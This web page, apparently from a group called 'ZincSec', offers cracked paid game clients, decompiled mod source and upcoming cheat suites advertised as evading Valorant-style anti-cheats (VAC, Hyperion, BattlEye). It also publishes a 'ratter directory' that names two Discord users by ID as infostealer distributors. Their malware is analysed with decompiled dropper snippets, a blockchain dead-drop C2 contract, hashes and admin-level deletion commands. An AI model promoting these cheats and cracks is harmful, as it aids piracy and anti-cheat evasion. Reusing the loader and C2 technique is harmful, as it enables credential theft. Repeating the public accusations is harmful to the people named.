ZincSec

📦 Available

Petey Addon 0.10.8 Source

Complete decompiled source tree for gameplay automation and balance routines. Verified clean AST structure, zero malicious hooks, and full clean build capability.

Java Source (.zip) 4.4 MB Clean AST Zero Telemetry

⬇ Download Source (.zip)

🔓 None Right Now

Cracked & Unlocked Clients

None hosted right now. Join our Discord server to share paid clients, submit client loaders for reverse engineering and zero-RAT malware inspection, or request new client releases.

Submissions Open Zero-RAT Verification Discord Community

Join Discord to Share Paid Clients (discord.gg/TzzRd46z3)

🎯 Soon

CS2 External Suite

Kernel-safe external glow, bone matrix ESP projection, view-angle aim assist, and weapon recoil calibration. Updating offsets for upcoming release.

DirectX 11 Overlay VAC-Safe Offset Calibrator

⏳ Coming Soon • Status in Discord

⚡ Soon

Roblox External Suite

Hyperion-safe external chams, character bone ESP, walkspeed modifier, and target prediction engine. Finalizing cloaking routines.

64-bit Memory Hook Chams Toggle No Injection

⏳ Coming Soon • Status in Discord

⚔️ Soon

Rainbow Six Siege External

BattlEye-adjacent memory reader, spectator bypass, player skeleton projection, and zero-recoil compensation. Recalibrating pattern scanner.

Pattern Scan Skeleton View External Window

⏳ Coming Soon • Status in Discord

🚨 VERIFIED RATTER DIRECTORY // 2 CONFIRMED TARGETS

⚠️ DEFCON 1 • 2 ACTIVE THREATS

Both perpetrators below have been confirmed via bytecode decompilation to be actively distributing SilentNet infostealers to community members. Click either operative card to inspect their dedicated forensic dossier without scrolling.

ACTIVE DOSSIER

CASE #2026-ANBS • ACTOR 1

Anubisismygoat [ANBS]

ID: 1566171998877388851 • @anuisisgoated

Payload: Anubis Client 1.0 (2).jar
Threat: EtherHiding Infostealer / Polygon C2

ACTIVE DOSSIER

CASE #2026-EXD • ACTOR 2

Exd tiin [CLUB]

ID: 1546925495470268456 • @exdtiin

Payload: Anubis Beta 0.9.9.1.jar
Threat: Fake Mod Container / Dropper

Inspect Dossier:

👤 Perpetrator Identification Record

Anubisismygoat [ANBS]

@anuisisgoated

Discord Snowflake:	1566171998877388851
Account Status:	Fresh Burner (Registered Oct 31, 2026)
Payload Distributed:	`Anubis Client 1.0 (2).jar` (10.62 MB)
Primary Verdict:	100% Backdoored RAT / Dropper

📊 Threat Telemetry & Impact Analysis

9.8

CVSS v3.1 Severity (Critical)

SilentNet

Malware Family Attribution

Discord Core

Primary Injection Target

Polygon PoS

Immutable C2 Infrastructure

Operational Impact: When executed, this payload permanently injects spyware hooks into Discord's desktop runtime, exfiltrating authorization tokens, passwords, credit card inputs, and harvesting Minecraft session tokens through Java reflection.

💬 Direct Message Social Engineering • The “False Flag” Deception

zincsec Today at 1:26 PM

gg rat holy moly

Anubisismygoat [ANBS] Today at 1:27 PM

dw it gets false flagged

SECURITY NOTICE: This defense is 100% fraudulent. Decompilation revealed the archive contains zero game features or client code — it consists entirely of an obfuscated 5-class infostealer suite targeting the victim's operating system.

🔬 MITRE ATT&CK Kill-Chain & Disassembled Execution Flow

[T1036.005] 1. Masquerading

Distributes file named Anubis Client 1.0 (2).jar to mimic genuine client builds and deceive community members into launching it.

[T1547.009] 2. Manifest Entry Hijack

In META-INF/MANIFEST.MF, Main-Class: net.fabric.ulsbFforrKkwr hijacks execution, bypassing the client to trigger the hidden malware loader.

[T1102.002] 3. Blockchain Dead-Drop C2

byGojjex.java connects to Polygon RPC (polygon.drpc.org) querying smart contract 0x9c0a... to retrieve dynamic C2 servers, bypassing DNS blocklists.

[T1140] 4. Disguised Payload Dropper

Downloads disguised payload /cdn/v2/9f4e7a2c1b8d.png, unpacks into %LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex, and launches detached process bound to NUL.

[T1552.001] 5. Discord Desktop Injection

Hooks Discord core Electron file: discord_desktop_core\index.js. Intercepts tokens, passwords, credit card inputs, and billing data on Discord launch.

[T1003] 6. Minecraft Session Siphon

In TQw5uwStFhnDQhJ.java, uses Java reflection to invoke Minecraft.getInstance().getSession() and exfiltrates active player UUIDs and tokens.

// Stage 1: net.fabric.ulsbFforrKkwr.java (Staging Dropper & Hidden Process Spawn) Path stagingDir = Path.of(System.getenv("LOCALAPPDATA"), "Microsoft", "Windows", "NtProfileIndex"); ProcessBuilder pb = new ProcessBuilder(javawPath, "-cp", jarLocation, "net.fabric.ulsbFforrKkwr", "-restarted"); pb.redirectInput(ProcessBuilder.Redirect.from(new File("NUL"))); pb.redirectOutput(ProcessBuilder.Redirect.appendTo(stagingDir.resolve("output.log").toFile())); pb.start(); // Stage 2: net.fabric.byGojjex.java (Polygon Blockchain EtherHiding C2) String rpc = "https://polygon.drpc.org"; String contract = "0x9c0a507300fd902787bb193d80fca5ce6e1bff9a"; // Polygon Mainnet Smart Contract String selector = "0xce6d41de"; // getMessage() Dead-Drop Resolver String payload = "https://" + dynamicC2 + "/cdn/v2/9f4e7a2c1b8d.png"; // Disguised executable // Stage 3: net.fabric.TQw5uwStFhnDQhJ.java (Minecraft Session Token Extraction) Class<?> mcClass = Class.forName("net.minecraft.client.Minecraft"); Method getSession = mcClass.getMethod("getSession"); Object session = getSession.invoke(mcInstance); // Harvests session.getToken(), session.getUuid(), session.getUsername() -> Exfiltrated to C2

🔍 Forensic Indicators of Compromise (IOCs) & Blockchain Proof

Malware Attribution

SilentNet Stealer (EtherHiding)

Target Architecture

Windows x64 / Java Fabric Minecraft

File SHA-256 Hash

cd6bafde03967e6c9a16d3828464d8740a9330b1aac3f5e2405708728cba2082

File MD5 Hash

65ff37f833275e88a7534a634092efbe

Campaign ID (UUID)

98739bf8-7a3c-4a6b-8b32-3a8d7830e4b4

Polygon Smart Contract (Immutable Ledger Record)

0x9c0a507300fd902787bb193d80fca5ce6e1bff9a (Method: 0xce6d41de)

Dead-Drop RPC Relays

polygon.drpc.org • 1rpc.io/matic

Local Host Staging Path

%LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex

Global Threat Intelligence Correlation

Tracked in Abuse.ch MalwareBazaar • OpenSSF Malicious Packages • Polygonscan Public Ledger

ℹ️ Blockchain Immortality: Because Polygon is a decentralized public ledger, smart contract transactions, deployer wallet signatures, and gas funding channels are permanently preserved. They cannot be wiped, edited, or hidden.

💻 EMERGENCY DISINFECTION CONSOLE • RUN IN COMMAND PROMPT (ADMIN)

:: [STEP 1] Kill hidden malware background processes
taskkill /F /IM javaw.exe

:: [STEP 2] Delete the stager directory completely
rmdir /S /Q "%LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex"

:: [STEP 3] Remove the injected Discord desktop module (fixes the fatal JavaScript error)
rmdir /S /Q "%LOCALAPPDATA%\Discord\app-1.0.9266\modules\discord_desktop_core-1"

:: [STEP 4] Password Invalidation
echo Important: Change your Discord and Microsoft/Minecraft passwords immediately to revoke hijacked tokens!

Chat Log Evidence • Distributing Backdoored JAR Anubisismygoat Chat Evidence

Actor Profile • ID 1566171998877388851

👤 Perpetrator Identification Record

Exd tiin [CLUB]

@exdtiin

Discord Snowflake:	1546925495470268456
Account Status:	Registered Sep 8, 2026
Payload Distributed:	`Anubis Beta 0.9.9.1.jar` (13.69 MB)
Primary Verdict:	100% Backdoored RAT / Dropper

📊 Threat Telemetry & Impact Analysis

9.8

CVSS v3.1 Severity (Critical)

SilentNet

Malware Family Attribution

Fake Mod ID

Spoofed as “Library”

10 Injected

Backdoor Classes Present

Operational Impact: This build replaces the legitimate Anubis manifest with a fake id: library container, registers dual background mod initializers (net.fabric.irMwvf and net.fabric.GpqkpZrd8), and points Main-Class to net.fabric.dnlv_kgie_at_jyg to inject the Discord desktop core module.

💬 Direct Message Evidence • Sending Trojanized 0.9.9.1 Build

Exd tiin [CLUB] Today at 2:00 PM

ye il send it

zincsec Today at 2:00 PM

ty ty

Exd tiin [CLUB] Today at 2:03 PM

here [Anubis Beta 0.9.9.1.jar - 13.69 MB]

1. Manifest Hijack: dnlv_kgie_at_jyg

In META-INF/MANIFEST.MF, Main-Class: net.fabric.dnlv_kgie_at_jyg replaces legitimate startup code with the background loader redirecting stdin to NUL.

2. Fake “Library” Mod Hijack

fabric.mod.json was stripped down to a fake 237-byte library registering dual entrypoints: net.fabric.irMwvf and net.fabric.GpqkpZrd8 for background initialization.

3. Dual Payload Redundancy

Contains 10 obfuscated backdoor classes utilizing the Polygon smart contract dead-drop resolver, %LOCALAPPDATA% stager, and Discord desktop core module injection.

🔍 Forensic Indicators of Compromise (IOCs) • Case #2026-EXD

Malware Attribution

SilentNet Stealer (EtherHiding)

Payload File Size

14,355,309 bytes (13.69 MB)

File SHA-256 Hash

ae460082b8185931d0cf0dfaae11c962b2925679141aece429dc03da7721aa23

File MD5 Hash

1698c27dd684ce056b201f07b2d8dba7

Hijacked Entrypoint

net.fabric.dnlv_kgie_at_jyg

Polygon Smart Contract (EtherHiding C2)

0x9c0a507300fd902787bb193d80fca5ce6e1bff9a (Method: 0xce6d41de)

Direct Message Evidence • Sending Backdoored 0.9.9.1

Actor Profile • ID 1546925495470268456 Exd tiin Profile

Direct Source &
Software Downloads

Petey Addon 0.10.8 Source

Cracked & Unlocked Clients

CS2 External Suite

Roblox External Suite

Rainbow Six Siege External

🚨 VERIFIED RATTER DIRECTORY // 2 CONFIRMED TARGETS

CRITICAL THREAT ADVISORY // CASE ID: #2026-ANBS

Anubisismygoat [ANBS]

🔬 MITRE ATT&CK Kill-Chain & Disassembled Execution Flow

CRITICAL THREAT ADVISORY // CASE ID: #2026-EXD

Exd tiin [CLUB]

Why Everything is Free & Clean

1. No Money for Subs

2. Ratting is Corny & Weak

3. Verify It Yourself

Need Client Unlocks or Updates?

Direct Source & Software Downloads

Petey Addon 0.10.8 Source

Cracked & Unlocked Clients

CS2 External Suite

Roblox External Suite

Rainbow Six Siege External

🚨 VERIFIED RATTER DIRECTORY // 2 CONFIRMED TARGETS

CRITICAL THREAT ADVISORY // CASE ID: #2026-ANBS

Anubisismygoat [ANBS]

🔬 MITRE ATT&CK Kill-Chain & Disassembled Execution Flow

CRITICAL THREAT ADVISORY // CASE ID: #2026-EXD

Exd tiin [CLUB]

Why Everything is Free & Clean

1. No Money for Subs

2. Ratting is Corny & Weak

3. Verify It Yourself

Need Client Unlocks or Updates?

Direct Source &
Software Downloads